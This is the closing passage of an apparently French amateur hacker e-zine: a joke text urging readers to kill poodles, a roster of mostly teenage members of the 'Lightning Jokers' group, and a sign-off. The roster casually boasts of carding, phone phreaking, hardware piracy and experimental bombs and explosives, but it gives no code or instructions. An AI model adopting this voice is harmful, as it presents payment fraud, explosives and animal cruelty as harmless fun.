Bien entendu, tu aurais pu tout simplement jeter le caniche a la rue... Mais dans ce cas, quelqu’un d'autre aurait certainement du finir avec cette horreur. Aide cette personne. Tue le caniche. Souviens toi toujours: Montre au chien qui commande. Attention! Les caniches prennent le contrôle de la planète! je le jure! J'en voie de plus en plus chaque jour! Tue les avant qu'il ne soie trop tard!!!! Ne les laisse pas prendre le contrôle!!!!!!!!"

 

Alors ça vous a plu ? j'espère que oui en tous cas ! Dès que je trouverai un texte bizarre...mais marrant, je vous le mettrai dans notre zine génial !

 

                                                                                                           [Article proposé par GlÄdIÄThÖR]

                                                                                                              0 800 900 272 - box 4012#

 

LIGHTNING JOKERS

 

Bon je vous ai jamais présenter le group, les membres etc… alors je vais le faire, ça vous permettra de mieux nous connaître.

Alors voilà :

 

THE JOKER : Age : 16 ans .fondateur du groupe. Spécialité : Hacking, Carding et un peu de phreaking. un peu de programmation (Qbasic, VB (débutant), C, html, javascript). Autre spécialité :armes à feu et armes blanches. J’ai écrit 41 articles pour des zines + ceux de mon site. J’ai écrit plusieurs petits programmes : ftp mail, un crypteur, un convertisseur ascii, un explorateur, un réveil pour le net etc… www.hackerz.fr.st

 

THOR : Age : 16 ans. 2ème membre. Spécialité : Hacking, phreaking, un peu de carding. Bombes expérimentales et anarchie en générale. Il a écrit 9 articles pour le group. Son site est en reconstruction.

 

JB34 : Age 17 ans. Spécialité : Hacking . Il a écrit 1 article pour ce group. www.go.to/jb34

 

B@BOUNE : Age : 15 ans. Spécialité : électronique, programmation et hacking (débutant). Il bosse sur les émulateurs de T1G en ce moment. A de bonne connaissance en électronique et s’intéresse au carding. Il a écrit 1 articles pour le group. www.chez.com/lesilicium

 

X-UNIX : Age :  25 ans, marie. Spécialité :Hacking, sécurité, configuration de routeur cisco et de serveur redhat.... a encor écrit aucun article pour le group mais j’espère qu’il le fera !!

 

MISS MOUSE : Age : 22 ans. Spécialité : programation en VB, delphi, C++(small), Windev, power Basic Internet: html, java (small), javascript, vbs, php, flash4. Aime surtout les protocols de communication (Socket rulez :o) )
Système win 98SE, NT, 2000 , Linux . Aime aussi tout ce qui touche à la securité. (C’est le programmeur du group :) ) A déjà écrit 10 programmes pour le group.

 

QUANTUM : 19ans,étudiant. Spécialités: piratage de 'hardware' avec notamment les 'T1G' ou encore lecteur-encodeur de carte magnétique (j'adore ces p'tites cartes...), et toutes les boites ou y'a marqué 'FT'!, crack de logiciels divers. Compétences: Electronik (discipline préférée et gérée!),programmation en qbasic, vbasic, html, asm (x86 et microcontroleur 68hc,bientot Mac 131),truc qu'a rien a voir avec le hack -> infographie (3DSMAX3, photoshop...) Mentalité: phreaker...
Voilà! mon site : www.multimania.com\hugokernel  (aucun rapport avec le hack!)

 

ROCKNESS : Age 16 ans. Spécialité : Cracking, Hacking (débutant) et un peu de programmation. elle a pas encore écrit d’article pour le group, j’espère qu’elle en écrira bientôt !?

 

NIKITA : Age 17 ans. Spécialité : hacking. Niveau débutant. Mais a quand même quelques hacks a son actif.

 

GOLDFINGER : Age 16 ans. Spécialité: cracking, web design et pis un peu de tout (hack, prog, phreak). Il a écrit 2 articles pour le group. Il a écrit un crypteur pour le group.

 

DOC DEVIL : Age : 15 ans, étudiant. Spécialité : Hacking Les Box (blue, beige, black, skunk,...), Programmer en C, html (un petit peut) , Connaissance en Carding, en Chimie (explosif). Un peut électronique. Linux, Windaub

 

CYBERDEV : Age : 14.5 ans, étudiant. Spécialité : Hacking , Les Box,  Programmer en C, C++, php, html, javascript, wml, basic. Connaissance en Carding, en Chimie un petit peut. Electronique, overclocking, Linux, Windaub

 

TYMPA KIO : hacking, connaissances réseaux (style tous les protocoles sur lesquels j'ai bossé depuis ARP,ICMP,et tous les autres) je fais aussi un peu d'admin linux, et du coup de la prog en C. Il a écrit 1 article pour le group

 

Voili voilou, maintenant vous nous connaissez un peu mieux !

 

 

Mots de la fin

 

Bon, j’espère que ce zine vous aura plus ?! j’espère que j’ai rectifier les quelques mécontentements qu’il y avait eu pour le zine 3.Vous aurez remarquez le changement de format, qui a été demander par quelques lecteurs. J’espère également que ce format vous plais ?! Le zine n°5 n’est pas encore commencez alors il va falloir attendre un peu. Si vous voulez que l’on aborde des sujets, si vous voulez écrire pour le zine, si vous avez des remarques, critiques ou compliments et bien maillez moi

 

Voilà, RDV au prochain numéro.

 

@+

 

FIN